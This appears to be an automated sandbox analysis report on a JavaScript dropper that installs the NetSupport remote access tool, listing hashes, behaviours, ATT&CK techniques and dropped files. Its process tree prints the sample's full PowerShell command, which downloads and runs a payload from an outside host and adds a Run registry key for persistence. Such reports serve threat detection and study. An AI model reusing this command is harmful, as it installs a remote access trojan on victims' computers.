netsupport | a6e37789dea33b593d76b8dfaa0c7a809ee1ce3850974c65a4345838877c3a2e

Analysis

max time kernel
143s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
29-08-2023 08:21

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General

Target

581158115811.js
Size

3KB
MD5

0997ddf7b37727cba3201fa07be4cc6d
SHA1

ea5adba0e2ba81557947217f401888d51f96a245
SHA256

a6e37789dea33b593d76b8dfaa0c7a809ee1ce3850974c65a4345838877c3a2e
SHA512

f212e63de50a388dd450371c2a3f5f9992160f6e644fa018447b4a5c9f6a837417559b66663339b3aa5f47af6577e8c8ddd236b31fa6441327abc1bb579f07be

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://instalfrio.cl/destination.txt

exe.dropper

http://instalfrio.cl/destination.txt

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	3352	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4224	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
4224	client32.exe
4224	client32.exe
4224	client32.exe
4224	client32.exe
4224	client32.exe
4224	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3195054982-4292022746-1467505928-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\X = "C:\\Users\\Admin\\AppData\\Roaming\\D\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3352	powershell.exe
3352	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3352	powershell.exe
Token: SeSecurityPrivilege	4224	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4224	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2920 wrote to memory of 3352	2920	wscript.exe	82
PID 2920 wrote to memory of 3352	2920	wscript.exe	82
PID 3352 wrote to memory of 4224	3352	powershell.exe	91
PID 3352 wrote to memory of 4224	3352	powershell.exe	91
PID 3352 wrote to memory of 4224	3352	powershell.exe	91

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\581158115811.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C "$u='http://instalfrio.cl/destination.txt';$6=(New-Object System.Net.WebClient).DownloadString($u);$a=[System.Convert]::FromBase64String($6);$d=[System.Environment]::GetFolderPath('ApplicationData')+'\D';if (!(Test-Path $d -PathType Container)) { New-Item -Path $d -ItemType Directory };$p=Join-Path $d 'p.zip';[System.IO.File]::WriteAllBytes($p,$a);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$d)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $d 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$s=$d+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='X';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;"
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3352
- - C:\Users\Admin\AppData\Roaming\D\client32.exe
    "C:\Users\Admin\AppData\Roaming\D\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i1qnycn0.npa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\D\HTCTL32.DLL

Filesize
320KB

MD5
2d3b207c8a48148296156e5725426c7f

SHA1
ad464eb7cf5c19c8a443ab5b590440b32dbc618f

SHA256
edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796

SHA512
55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

Download Submit
C:\Users\Admin\AppData\Roaming\D\HTCTL32.DLL

Filesize
320KB

MD5
2d3b207c8a48148296156e5725426c7f

SHA1
ad464eb7cf5c19c8a443ab5b590440b32dbc618f

SHA256
edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796

SHA512
55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

Download Submit
C:\Users\Admin\AppData\Roaming\D\MSVCR100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\D\NSM.LIC

Filesize
259B

MD5
3a88847f4bbf7199a2161ed963fe88ef

SHA1
8629803adb6af84691dc5431b6590df14bad4a61

SHA256
a680947aba5cf3316be50f1ec6a0d8bf72f7d7ca79d91430c26e24680eddd35e

SHA512
2b6408e7334946655045914b2cfa14dcfb39502f64ffafad784717a8ca036b73928bd7a5b02d650d8698357c54c31cac11a705baed0e1e7a3a07d659a2104e02

Download Submit
C:\Users\Admin\AppData\Roaming\D\PCICHEK.DLL

Filesize
18KB

MD5
a0b9388c5f18e27266a31f8c5765b263

SHA1
906f7e94f841d464d4da144f7c858fa2160e36db

SHA256
313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a

SHA512
6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

Download Submit
C:\Users\Admin\AppData\Roaming\D\PCICL32.dll

Filesize
3.5MB

MD5
0806dd2faf75ef07931f0a0148dabe8a

SHA1
d578f3590af19108a45f1053e7752c72e4e71757

SHA256
1bf1d7e36a7fcae7d5df7a5b926ffd5fe07ecc3b3412d7818a9139f501083c51

SHA512
8c4628da32f25b10f432c7b5af03bd76368f44d8c9c017502e79c1a53548635a4c12c489bdd775bbea888dbab3a51859403e64ca79e39b0938260f1819936ef7

Download Submit
C:\Users\Admin\AppData\Roaming\D\client32.exe

Filesize
114KB

MD5
f36a7294ff7aa92571a3fd7c91282dd5

SHA1
849e777458ef42b3138f33f6e50623246eafb7a7

SHA256
42c2d35457abce2fea3897ba5e569f51b74b40302ff15b782e3b20b0aa00b34e

SHA512
285165bdf774e4db062c996dc148dfd6a5263d89a7ae3e1bb193afb9513cd95a40dc8689ab1fd5c56b90fbdd65c6b05cfe2a3cbde4195d5b8bef239eac315145

Download Submit
C:\Users\Admin\AppData\Roaming\D\client32.exe

Filesize
114KB

MD5
f36a7294ff7aa92571a3fd7c91282dd5

SHA1
849e777458ef42b3138f33f6e50623246eafb7a7

SHA256
42c2d35457abce2fea3897ba5e569f51b74b40302ff15b782e3b20b0aa00b34e

SHA512
285165bdf774e4db062c996dc148dfd6a5263d89a7ae3e1bb193afb9513cd95a40dc8689ab1fd5c56b90fbdd65c6b05cfe2a3cbde4195d5b8bef239eac315145

Download Submit
C:\Users\Admin\AppData\Roaming\D\client32.exe

Filesize
114KB

MD5
f36a7294ff7aa92571a3fd7c91282dd5

SHA1
849e777458ef42b3138f33f6e50623246eafb7a7

SHA256
42c2d35457abce2fea3897ba5e569f51b74b40302ff15b782e3b20b0aa00b34e

SHA512
285165bdf774e4db062c996dc148dfd6a5263d89a7ae3e1bb193afb9513cd95a40dc8689ab1fd5c56b90fbdd65c6b05cfe2a3cbde4195d5b8bef239eac315145

Download Submit
C:\Users\Admin\AppData\Roaming\D\client32.ini

Filesize
715B

MD5
b4e1abba1a71f64b59c0eedf8feda711

SHA1
6f135a10ff49676e1daa049444e0f7fa1ddb8858

SHA256
76b38949526934b916a42ba95d09abf2d6635b945044a6578551e1034d1ed75d

SHA512
08e9266315c68f43c0c84a95979597b2dcac465784b199ee6a6c058bcff5b12207d6700abe4b16531356ea432a68e7541a87aed6a1e65c4090ed38886debdf01

Download Submit
C:\Users\Admin\AppData\Roaming\D\msvcr100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\D\msvcr100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\D\pcicapi.dll

Filesize
32KB

MD5
dcde2248d19c778a41aa165866dd52d0

SHA1
7ec84be84fe23f0b0093b647538737e1f19ebb03

SHA256
9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917

SHA512
c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

Download Submit
C:\Users\Admin\AppData\Roaming\D\pcicapi.dll

Filesize
32KB

MD5
dcde2248d19c778a41aa165866dd52d0

SHA1
7ec84be84fe23f0b0093b647538737e1f19ebb03

SHA256
9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917

SHA512
c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

Download Submit
C:\Users\Admin\AppData\Roaming\D\pcichek.dll

Filesize
18KB

MD5
a0b9388c5f18e27266a31f8c5765b263

SHA1
906f7e94f841d464d4da144f7c858fa2160e36db

SHA256
313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a

SHA512
6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

Download Submit
C:\Users\Admin\AppData\Roaming\D\pcicl32.dll

Filesize
3.5MB

MD5
0806dd2faf75ef07931f0a0148dabe8a

SHA1
d578f3590af19108a45f1053e7752c72e4e71757

SHA256
1bf1d7e36a7fcae7d5df7a5b926ffd5fe07ecc3b3412d7818a9139f501083c51

SHA512
8c4628da32f25b10f432c7b5af03bd76368f44d8c9c017502e79c1a53548635a4c12c489bdd775bbea888dbab3a51859403e64ca79e39b0938260f1819936ef7

Download Submit
memory/3352-19-0x0000026364D30000-0x0000026364D42000-memory.dmp

Filesize
72KB

Download
memory/3352-16-0x0000026348B00000-0x0000026348B10000-memory.dmp

Filesize
64KB

Download
memory/3352-15-0x0000026348B00000-0x0000026348B10000-memory.dmp

Filesize
64KB

Download
memory/3352-18-0x0000026364D00000-0x0000026364D0A000-memory.dmp

Filesize
40KB

Download
memory/3352-9-0x0000026364B90000-0x0000026364BB2000-memory.dmp

Filesize
136KB

Download
memory/3352-14-0x0000026348B00000-0x0000026348B10000-memory.dmp

Filesize
64KB

Download
memory/3352-13-0x00007FF8241D0000-0x00007FF824C91000-memory.dmp

Filesize
10.8MB

Download
memory/3352-11-0x0000026348B00000-0x0000026348B10000-memory.dmp

Filesize
64KB

Download
memory/3352-12-0x0000026348B00000-0x0000026348B10000-memory.dmp

Filesize
64KB

Download
memory/3352-10-0x00007FF8241D0000-0x00007FF824C91000-memory.dmp

Filesize
10.8MB

Download
memory/3352-72-0x00007FF8241D0000-0x00007FF824C91000-memory.dmp

Filesize
10.8MB

Download